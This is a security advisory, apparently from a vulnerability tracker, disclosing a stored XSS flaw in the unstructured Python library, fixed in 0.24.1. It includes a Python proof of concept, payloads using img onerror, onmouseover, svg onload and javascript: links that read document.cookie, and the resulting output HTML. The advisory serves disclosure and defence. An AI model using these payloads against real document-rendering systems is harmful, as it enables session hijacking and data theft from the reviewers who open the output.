GHSA-V5MQ-3XHG-98M9
Vulnerability from github – Published: 2026-10-15 20:16 – Updated: 2026-10-15 20:16Summary
When unstructured parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. <img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.
Details
partition_html(html_parser_version="v2") (and the VLM partitioner) preserve the input document's element tags, attributes, and text into metadata.text_as_html, and elements_to_html() outputs that as an HTML document.
The function that builds HTML on this path, to_html() in unstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such as onerror / onmouseover / onload originating from the input document are left in the output HTML as-is (literal <script> tags are stripped by the parser, but attribute-based vectors and javascript: URLs are not). In addition, link URLs are not scheme-filtered, so <a href="javascript:..."> is also emitted.
Relevant source: documents/ontology.py (to_html, _construct_attribute_string, _generate_final_html); partition/html/transformations.py (text_as_html = ontology_element.to_html()); partition/html/convert.py (elements_to_html).
PoC
Environment: downloads.unstructured.io/unstructured-io/unstructured:latest, unstructured 0.23.3.
from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html
malicious = ('<body class="Document">'
'<p class="Paragraph" onmouseover="alert(1)">hello'
'<img src=x onerror="alert(document.domain)"></p>'
'<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
'</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))
elements_to_html() output body — the unescaped vectors survive:
<p class="NarrativeText" id="..." onmouseover="alert(1)">
<p class="Paragraph">hello</p>
<img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>
Opening xss_output.html in a browser fires alert automatically (via <img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):
| Vector | Trigger | Cause |
|---|---|---|
<img onerror> |
open file (auto) | element text not escaped |
<svg onload> (via title='"><svg ...>') |
open file (auto) | attribute value not escaped (" breakout) |
<a href=javascript:> |
click | link URL scheme not filtered |
onmouseover |
hover | source attribute preserved as-is |
Impact
Stored XSS caused by improper output encoding. Anyone who renders the HTML or text_as_html generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, <img onerror> fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.24.0"
},
"package": {
"ecosystem": "PyPI",
"name": "unstructured"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104250"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:16:18Z",
"nvd_published_at": "2026-10-13T17:17:15Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen `unstructured` parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. `\u003cimg src=x onerror=...\u003e`) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer\u0027s browser.\n\n### Details\n\n`partition_html(html_parser_version=\"v2\")` (and the VLM partitioner) preserve the input document\u0027s element tags, attributes, and text into `metadata.text_as_html`, and `elements_to_html()` outputs that as an HTML document.\n\nThe function that builds HTML on this path, `to_html()` in `unstructured/documents/ontology.py`, performs no escaping at all. As a result, event handlers such as `onerror` / `onmouseover` / `onload` originating from the input document are left in the output HTML as-is (literal `\u003cscript\u003e` tags are stripped by the parser, but attribute-based vectors and `javascript:` URLs are not). In addition, link URLs are not scheme-filtered, so `\u003ca href=\"javascript:...\"\u003e` is also emitted.\n\nRelevant source: `documents/ontology.py` (`to_html`, `_construct_attribute_string`, `_generate_final_html`); `partition/html/transformations.py` (`text_as_html = ontology_element.to_html()`); `partition/html/convert.py` (`elements_to_html`).\n\n### PoC\n\nEnvironment: `downloads.unstructured.io/unstructured-io/unstructured:latest`, `unstructured` 0.23.3.\n\n```python\nfrom unstructured.partition.html import partition_html\nfrom unstructured.partition.html.convert import elements_to_html\n\nmalicious = (\u0027\u003cbody class=\"Document\"\u003e\u0027\n \u0027\u003cp class=\"Paragraph\" onmouseover=\"alert(1)\"\u003ehello\u0027\n \u0027\u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/p\u003e\u0027\n \u0027\u003ca class=\"Hyperlink\" href=\"javascript:alert(document.cookie)\"\u003eclick me\u003c/a\u003e\u0027\n \u0027\u003c/body\u003e\u0027)\nels = partition_html(text=malicious, html_parser_version=\"v2\")\nopen(\"xss_output.html\", \"w\").write(elements_to_html(list(els), no_group_by_page=True))\n```\n\n`elements_to_html()` output body \u2014 the unescaped vectors survive:\n\n```html\n\u003cp class=\"NarrativeText\" id=\"...\" onmouseover=\"alert(1)\"\u003e\n \u003cp class=\"Paragraph\"\u003ehello\u003c/p\u003e\n \u003cimg class=\"Image\" onerror=\"alert(document.domain)\" src=\"x\"/\u003e\n\u003c/p\u003e\n\u003ca class=\"UncategorizedText\" href=\"javascript:alert(document.cookie)\" id=\"...\"\u003eclick me\u003c/a\u003e\n```\n\nOpening `xss_output.html` in a browser fires `alert` automatically (via `\u003cimg onerror\u003e`), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):\n\n| Vector | Trigger | Cause |\n|---|---|---|\n| `\u003cimg onerror\u003e` | open file (auto) | element `text` not escaped |\n| `\u003csvg onload\u003e` (via `title=\u0027\"\u003e\u003csvg ...\u003e\u0027`) | open file (auto) | attribute value not escaped (`\"` breakout) |\n| `\u003ca href=javascript:\u003e` | click | link URL scheme not filtered |\n| `onmouseover` | hover | source attribute preserved as-is |\n\n### Impact\n\nStored XSS caused by improper output encoding. Anyone who renders the HTML or `text_as_html` generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, `\u003cimg onerror\u003e` fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.",
"id": "GHSA-v5mq-3xhg-98m9",
"modified": "2026-10-15T20:16:18Z",
"published": "2026-10-15T20:16:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-v5mq-3xhg-98m9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104250"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/pull/4394"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/commit/cda16b3f2170019be9c6ea5635946fb3eaa2d66f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unstructured-IO/unstructured"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "unstructured: Stored XSS via unescaped HTML generation"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.